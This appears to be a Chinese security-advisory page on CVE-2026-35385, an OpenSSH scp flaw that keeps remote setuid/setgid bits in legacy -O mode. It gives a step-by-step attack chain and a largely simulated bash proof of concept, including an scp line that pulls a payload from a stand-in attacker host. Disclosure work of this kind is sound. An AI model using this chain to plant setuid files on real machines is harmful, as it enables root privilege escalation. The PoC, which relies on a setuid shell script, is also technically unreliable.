IPBUF安全漏洞报告
English
CVE-2026-35385 CVSS 7.5 高危

CVE-2026-35385 OpenSSH scp权限提升漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-35385
漏洞类型
权限提升
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenSSH

相关标签

权限提升OpenSSHSCPCVE-2026-35385Setuid网络安全

漏洞概述

OpenSSH 10.3之前的版本存在安全漏洞。当root用户使用scp工具下载文件时,若指定了-O参数以使用遗留scp协议,且未使用-p参数保留模式,下载的文件可能会被赋予setuid或setgid权限。此行为违背了用户的安全预期,攻击者可利用此漏洞实现本地权限提升。

技术细节

该漏洞的核心在于OpenSSH的scp客户端在使用遗留协议(-O)时的权限验证逻辑存在疏忽。通常情况下,远程服务器不应决定本地文件的权限模式,尤其是setuid/setgid位。但在受影响版本中,当root用户执行`scp -O`下载文件时,客户端直接应用了远程源文件的权限属性,而没有进行安全检查。这意味着,如果攻击者控制了源文件并设置了setuid root位(如权限为4755),当文件被下载到目标机器后,它将以setuid root的形式存在。任何具有执行权限的用户运行该文件,都将获得root级别的系统访问权限,从而完全绕过本地访问控制策略。

攻击链分析

STEP 1
1. 准备恶意文件
攻击者在远程服务器上准备一个文件,并设置setuid或setgid权限位(例如4755)。
STEP 2
2. 诱导下载
攻击者诱导目标机器的管理员(root用户)使用scp命令下载该文件。
STEP 3
3. 触发漏洞条件
管理员使用包含-O参数(遗留协议)且不含-p参数的scp命令执行下载。
STEP 4
4. 权限继承
由于漏洞,scp客户端保留了远程文件的setuid/setgid权限,并在本地创建了具有该权限的文件。
STEP 5
5. 权限提升
当本地用户执行该下载的文件时,由于setuid位的存在,进程以root权限运行,导致权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC Concept for CVE-2026-35385 # Scenario: Attacker prepares a malicious file with setuid root on a server. # Victim (root) downloads it using vulnerable scp. # 1. On the attacker-controlled machine (or server), create a malicious file # that acts as a setuid binary. # (Assuming the attacker has root on the source machine to set the bit initially) echo "[+] Creating malicious payload on remote server..." cat > /tmp/malicious_payload.sh << 'EOF' #!/bin/bash echo "If you see this as root, the exploit worked." whoami EOF # Set setuid and executable permissions (simulating the source file state) chmod 4755 /tmp/malicious_payload.sh # 2. Victim Action: The victim (root) runs scp with -O flag. # Command: # scp -O user@attacker_ip:/tmp/malicious_payload.sh ./ echo "[+] Victim command: scp -O user@attacker:/tmp/malicious_payload.sh ./" echo "[+] After download, checking local file permissions..." # Simulated result on victim machine: # -rwsr-xr-x 1 root root ... malicious_payload.sh echo "[!] The file is now setuid root on the local system." echo "[!] Executing the downloaded file..." # ./malicious_payload.sh

影响范围

OpenSSH < 10.3

防御指南

临时缓解措施
如果无法立即升级,管理员应避免使用 `scp -O` 命令,或者不要使用 root 账户运行 scp。建议检查下载文件的所有文件权限,特别是可执行文件的 setuid 和 setgid 位,并及时移除。使用 `rsync` 或 `sftp` 等更安全的替代工具进行文件传输。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表